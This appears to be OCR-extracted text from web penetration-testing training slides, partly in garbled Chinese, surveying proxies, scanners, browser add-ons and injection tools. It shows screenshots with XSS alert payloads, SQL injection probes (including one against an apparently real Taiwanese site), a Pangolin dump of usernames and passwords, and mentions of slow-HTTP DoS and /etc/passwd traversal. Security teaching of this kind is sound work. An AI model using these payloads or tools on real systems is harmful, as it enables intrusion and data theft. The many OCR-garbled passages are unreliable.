BEFIIRE « B &5
£ SAERIZs &) 08 BRI (771 EE)

W FBaYSQLEA (2)
= ) PSS Scripting (%)
4 hitp://demo testfive net/bankicustomize aspx (2)
4 hitp:iidemo testfire netbankAogin aspx (1)
4 http:#demo testfive netbank/teansfer aspx (2)
4B hitp:#demo testfire neticomment.aspx (2)
45 http #denm testfire net/search.aspx (1)

(1)

D hﬂp:f!demo.testfim.netfsubscribe.aspx (1)
G FEMEBRBAEK ()
Gn BiEE ()
G HIERERREG (12)
O HIEERE ()
O BEEEsEXR O
@ TEEihtERs (1)

{DHHHE
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Hacking/Test Tools Categories

« Stand-alone program
— Paros - Free
— Burp Suite - Basic Edition Free
— Web Scarab - Free, OWASP Project
— w3af - GNU General Public License
— Vega
« Browser plugins (Free)
— Hackbar
— XSS ME
SQL Inject ME
Tamper Data
Firecat-a suite of plugins
Firebug
— HttpWatch

 Framework
— BeEF
— HconSTF
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Hacking Tools Feature

An Intercepting proxy

A web application spider

An application fuzzer or scanner

A manual request tool

Various shared functions and utilities
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Spider
Scan
Report

Recommendation

Paros

¥ Untitled Session - Paros
File Edit View Analyss Report Tools Help

Sites }

Request | Response Trap

=) Sites
&) http:fhwrww . google-analytics.com
=) http:fwww techlife com. tw
=2 01 News
L WGET:01news.asp(NID)

HTTP#1.1 500 Internal Server Error
Server: Microsoft-11S/5.0

Date: Wed, 02 Sep 2009 00:07:15 GMT
Content-Length: 3035

Content-Type: text/htm|

Cache-control: private

<l- InstanceBegin template="_/Templates/TechlifeTemp.dwt' codeOutsideHTMLIsLocked=" #
false" --»

<script type="textijavascript'>

var gaJsHost = (("https:" == document.location.protocol) ? "hitpsiissl” : "hitp:ifwawaw. "),
documentwrite(unescape("%3Cscript sre=" + gaJsHost + "google-analytics.comiga.js' type
=textfjavascript'%3E%3C/script%3E");

<fscript=

=script type="textijavascript'> v

[Raw Vie

History | Spider | Alerts | Output]

1 GET hitp:ifwanew.techlife.com twi01 Newsi01news.asp?NID=40891%20group%20... 500 Internal Server..  203ms|

|

[ 2w

125


../9811_PayEasy/Tools/192.168.192.4_SQLi.htm

Tamper Data

 Firefox 9hi

5 Tamper Data - Ongoing requests

Stop Tamper Clear

B

COption:  Help

Filter |

Tire Dmratinn

Total Dnarating Bize Method Statnz Comtent Type

unknowin GET pending  unknowin

+ LOAD DOCTM:-

313017 = 158 ms 513 mz 30z5 GET 500 teacthitril http:fiwe==s VALIDATE AL

31317 - 115 ms 115 ms -1 GET 3n4 applicationfdeuns - hitpdtwe-=- LOAD NORMAL

31317 - 55 ms 55 ms 35 GET 200 image/zf http:fhwe==- VALIDATE AL---

21307 = 70 s 0 s 1] GET an4 applicationbeuns s hitpodtee--- LOAD NOEMAL

21317 = 05 ms 05 ms 1] GET an4 applicationbeuns httpottwe-- VALIDATE AL---
Eequest Header Mame Eequest Header Walue Eesponze Header Mame R

Host sy techlife oo b

Teer- 4 gent Mozilla!S.0 (mdows; T; Windows NT 5.1; en-T03; re:1 .9 -

Arcept texthtmlapplicationshtmlxomlap plicationomlg=0.9, %*yg -

Lecept-Language zh-tw en-vsy=0Tenyg=0.3

L ecept-Encoding gzip,deflate

Areept-Charsst TR0-3359-1,ut-3 =07, %y=0.7

Keep-Alive 300

Froor-Conmection keep-alive

Cookie ARPRERSIONIDARE TODTA="CHIADHFAOL A CDFHNGD---
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« #2815l Paros

« BENERAREHR

Burp Suite

9 buxp suite 1 01

hurp  intruder

repeater

window  help

[Ty rapider rintruder rrepeater rcnmma ralerts |

intercept rnptinna rhistnrg.f |

request to bitp:fasen microsoft.com: 30 [65.595.12.244]

forward

drop

intercept on action o text om0 oparam (0 hex

type

name

vallue

cookie

GUID=d47ecTc803elbidehbl0e5880h200b1 Ge&HAS .. ME

cookie

Wied,

Fermove

Lp

hody encoding:

urlencoded

target: taiwanfzgliSGL_Injection_G1 htm
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WebScarab

« OWASP Ffril s

WebScarah

File “iew Tools Help

l/ Summary r Messages r Proxy r Manual Request rWehSewil:es r Spider r Extensions rKSSICRLF rSessionID Analysis rScripted r Fragments r Fuzzer rCompare r Search |

[] Tree Selection fitters comversation list

Url | tethods | Status | Possible Injection | Injection | Set-Cookie | Comments | Sctipts |
o= [ http:iwewew. google-analytics. corm:80f || || [ || [ =
o= [ hittp: v offensive- security. corn: 800 [ [ | [ |
9 [ http:iaevew te stfire net: 80/ GET, HEAD 200 0K O O O O
o [ banks GET 200 DK O O O O O
[ login.aspx GET 200 0K n n O =
[ coi.exe GET 404 Mot Fo... O O O O O
9 [ default aspx GET 200 0K O O O O O
?rontent=business htrm GET 200 0K O O O O
?eontent=husiness_cards.htm GET 200 0K O O O O .
?rontent=husiness_deposithtrm GET 200 0k | O | O
reontent=business_insurance.htm  GET 200 0K O O O O
rrontent=husiness_lending.htrm GET 200 0K | O | O
?eontent=business_otherhtm GET 200 0K O O O O
?rontent=husiness_retirementhtm  GET 200 Ok | O | O
?eontent=inside.htm GET 200 0K O O O O
2eontent=inside_abouthtrn GET 200 0K (] | (] | |
— ?eontent=inside careers him GET 200 0k [vl] 1 1 1 1 o
D+ Date Method Host Fath Faramet...| Status Origin  [Possible Inj..[ XS5 ELF | Set-Coakie Coakie Comments Scripts
63 2009/10/09...|HEAD hittp:diveesy. offensive- securit... fags.php 200 Ok |Proxy [] [] [] [] [] -
67 2008/ 0/09..|GET hittp: e, offensive-securit... [limagess.. 200 0K |Proxy L] L] L] L] [] ]
G5 200910009, |GET hitp:iiwewewy. offensive-securit... fimagesi... 200 Ok |Proxy [] [] [] [] L]
G4 2009110009, |GET hittp:iteeeee google-analytics. |igajs 404 Mot . |Prosy L] L] L] L] []
63 2009510009, |GET hitpiitweewy. 0ffi2nsive-securit... fimagesi... 200 Ok |Proxy [] [] [] [] L] ©
62 2008/ 0/09..|GET hittp: e, offensive-securit... [limagess.. 200 0K |Proxy L] L] L] L] []
G1 200910009, |GET hitp:itvewewy. offensive-securit... fimagesi... 200 Ok |Proxy [] [] [] [] L]
60 2008/ 0/09..|GET hittp: e, offensive-securit... [hloghwp... 200 0K |Proxy L] L] L] L] [] —
a4 20080008, |GET hitp:fhaaw offensive-securit... |fags.php 200 0k |Prosy L] L] L] v v
58 20098/ 0/09..|GET hittp: v offensive-securit... [fscriptsl.. 200 0K |Proxy L] L] L] L] []
57 2008/ 0/09..|GET hittp: e, offensive-securit... [hloghwp... 200 0K |Proxy ] ] ] ] []
A6 2009010009, |GET hittpy:iheeeeee 0ffensive-securit.. |[ifags. php 200 0K |Proxy [] [] [] v] v]
55 2008/ 0/09...|HEAD hittp: e offensive-securit... [blogiba... 200 0K |Proxy L] L] L] L] []
53 2009/10/09. |GET hittp:fiweneer offensive-securit... fhlogiba... 200 0K |Prosy [] [] [] v] v]
52 2008/10/08.. | GET hitp:heewnee te stiire.net:20 i 200 0k |Spider L] L] L] ASPMET ... L] []
a1 2009710009, |GET hitp:ifwny testlire net:80 i 200 Ok |Spider ] ] ] ASPMET_ ] L]
50 2008/ 0/09..|GET hittp: e testiire. net: 80 lirmages! 403 For... |Spider L] L] L] ASPMET_... L] []
49 2009/10/09..|GET hittp:fiweaer testfire. net: 80 =T 200 0K |Spider ] ] ] ASPNET_... ] L]
43 2008/ 0/09..|GET hittp: e testiire. net: 80 ifeedbac... 200 0K |Spider L] L] L] ASPMET_... ¥ []
47 2009/10/09..|GET hittpdivevewy testfire. net 80 idefault.... |Pcontent.. (200 Ok |Spider v] [] [] ASPMET_... [] ]
46 2008/ 0/09..|GET hittp: e testiire. net: 80 idefault... |?content.. |200 Ok |Spider v] L] L] ASPMET_... L] [] —
A ETututstERulintst CT e +. i - 00 o it 1+ +. + 000 Lt Comicl [l 1 1 N0 RICT 1 -] i
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Browser/Client-side Tools

OWASP Mantra (Firefox)
Sandcat browser (Chrome)
Firefox PT tools add-ons
Chrome PT extensions
IronWASP

BeEF (Attack the browsers)



http://www.concise-courses.com/security/50-firefox-pentesting-addons/
http://www.concise-courses.com/security/50-firefox-pentesting-addons/
http://www.concise-courses.com/security/50-firefox-pentesting-addons/

BekEF

User Interface Communication
Server
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[ronWASP

IronWASP 2013 b

Project Tools Modules Dev Tools

About

Project

=]

- Vulnerabiliies (205)
E5-High (173)
=- htip://demo testfire.ney/ (173)

nsecure Basic Authentication usec
Local File Include Found (44)
Cross-site Scripting Detected (86)
Remote File Include Found (6)
[+I-Header Injection Found (6)
XPATH Injection Found (2)
[#-Command Injection Found (1)

E| hitp://demo testfire.net/ (27)

Cookie amSessionld missing the
[H-Sensitive Form loaded and submit
[=-Directory Listing at: /bank/ (1)

Cookie amCreditOffer missing the |
Cookie lang missing the HttpOnly fl
Charset Not Set By Server (12)
[#-Cross-site Cookie Setting (6)

- Low (5)

[+ Test Leads (5)
[#-Information (2)
-- Exceptions
+-SiteMap

Show Confi

Console | Automated Scanning

Manual Testing

Scripting | Proxy | Logs | Results

JavaScript Analysis | Dev|

Enter a URL to Scan:
Eg: hitp://example.org

http://demo testfire.net

Requests From Crawler: 817
ScanjJobs Created: 323

Scan]obs Completed: 141
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WebSecurity

! X
MO 9 QL *x @ =
» (7] Other bookmarks

= | (O e

& C'  { https://suite.websecurify.com/laus
BFEZz L EAEREE:. D esExRES. (C

WEBSECURIFY

Launchpad
Try some of the amazing apps from the market.

Classic Pack Public Pack

pentoo-i686-20....is0

hina Post Onli... % 2EE-RRE

i backbox-3.05-i3....is0

i

s

i
i
vH

Retest Resend

u

Jsonfuzz

Xmifuzz

x

¥ Show all downloads...

0.3/1.9 GB, 8 hours ...

| 3
S —————
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PunkSpider

Contributors About PunkSpider

Welcome to PunkSPIDER

A global web application vulnerability search engine

HYPERIGN
Gray

Search by url El http://history

having all \z] Obsgli [sqli [xss vulnerab

PHP Test

(hide details)

3tvle=3$22%3E$3CSCrIpT$3Ealert$2812663%29%3C32FScRiPti3Estoday=0701

title=%$27$3E$3CSCrIpT$3Falert$28934032933C32FScRIiPLI3E

w

W

About Hyperion Gray

Search
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2 2Bt Z B [ = 4++ —
[ ] -‘- — | | 1 SIS | et !! —
wlaf - wow boicive nad
w3af - www testfire net ‘
— profiles Edit Yiew Tools Configuration Help
A B 0 g -
=[] 5 | & i [d i % Q = 3k
= Wizards ey Save Clear Pause [Multiple Exploit ' Manual Request  Fuzzy Request  Encode/Decode Compare Proxy
&
Scan config |L0g Results |Exploit| 3
Fi
— KB Browser |URL5 |RequestfResponse navigator |
g
Yuln Info [] Misc ICross Site Scripting was found at: "hitp: /e testfire.net/search.aspx”, using HTTP method GET. The sent data was: "tSearch=%3CSCrIPT %3Ealert:28 %

E2hrwevs0ebIphdWWoYn %22 %29%3C %2FSCrIPT %3E", This vulnerahility affects ALL browsers, This vulnerability was found in the request with id 149,

S Knowledge Base

Request Response

S GET http: ffweww testfire. netisearch.aspr?titSearch=%3CSCrIPT%: || | HTTP/1.1 200 OK
Host: www testfire.net content-length: 7256

¥ Cookig: path=/; ASP.NET_Sessionld=tradyqmipjghz355eiSnksss; F || | s-powered-by: ASP.MET

® Accept-encoding: identity ¥-aspnet-version: 2.0.50727
Accept: */* server: Microsoft-115/6.0
User-agent: wiaf.sourceforge.net connection: Keesp-alive

cache-control: private
date: Fri, 09 Oct 2009 05:44:30 GMT
content-type: text/himl; charset=utf-8

<IDOCTYPE hirnl PUBLIC "-/AW3C/DTD XHTML 1.0 Transitional/EN" "hitp /e w3.0rg/ TR fhitml 1

<html xmins="http: /fwww.w3.org/1999htm]" xml:lang="en" =
zhead id=" rtin N head" s <title

[ |




Pangolin SQLI

f:? 41;1\.? I%]:l @ R ) Pangolin - Maded By Zwell: — hitp:ffwww nosec org

LRL |htt|:u:,l',l'192. 168.0,183)adminl /test_value, asprinput=abc

v |ET ~ B Chesk I O |
=g g = > abc
{éﬁgiﬁqg%gﬂ = String ~ DB MSSGL with Error +  KeyWord | T options % Reset 4

| @ Informations #hDatas @ Command E E}P‘ MsSqlFilehriter Q’ RegReader ﬁr.: Ms5qDir Tree *

Table/Column

useri user... | pass... | is_Ad..,
admin admi. .

1
lucifer IuciFe]% a
hornas  horm... 0

Username
password
is_Admin

D noke

O testtime

O quid_test

O docs

1
—_

% Tables Columnns I Datas [ Onebyore |1 B save

Record of 2/3

Record of 2-ucifer~uciferl 230
Record of 373

Record of 3~hornas~hornas123~0

| >

[

Stopped! Wersion 1,3.1.646
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xVideo/SQLinj Pangolin.avi

PunkSpider

Contributors About PunkSpider

Welcome to PunkSPIDER

A global web application vulnerability search engine

HYPERIGN
Gray

Search by url El http://history

having all \z] Obsgli [sqli [xss vulnerab

PHP Test

(hide details)

3tvle=3$22%3E$3CSCrIpT$3Ealert$2812663%29%3C32FScRiPti3Estoday=0701

title=%$27$3E$3CSCrIpT$3Falert$28934032933C32FScRIiPLI3E

w

W

About Hyperion Gray

Search
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Google Hacking E

|:Download DB

v it/ v

B vish - (P ?)X)
BERD: | ) RS v O @
s e TR (C)
e 0)
Recent L DVD-RAM fERRE ()
. g Newest (F2)
[ A CEHv6 Volume 1 (1)
L CEHv6 Volume 2 (1)
= “go M ail Drive
o M
S rolndandy BT
FEIRTEF
FHATERE
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DNS E#%l:Zone Transfer

Blank Intended



xCase/201309_University_Web_sqlinj

DoS E4l: Slow HTTP DoS

SBEw
— FF HTTP WERYSIRL - & web server WEI—{EASTERY
HTTP request s - E/J%ﬁ S RERG

22
- A FoAZBRET BolS

87 QRB
?/ =

— HILRF R E - BN EBR=SE/RE

)
- ETRE/)VEEL G - ZIR) XH%E B il [2] — SRIRIPRY
iR - O EFF D VW BIBIRETE T - A LCAE A o EL P


xLab/12 Hacking Webservers/C.WebServer_slowhttpDoS_slowloris/slowhttptest_takedown_Apache.mp4

SQL Injection E!

Blank Intended



xCase/201309_University_Web_sqlinj

XSS E Al

Blank Intended
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xCase/201309_University_Web_sqlinj

Directory Traversal E :
FAE etc Y ETC

Blank Intended



xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd

Q&A




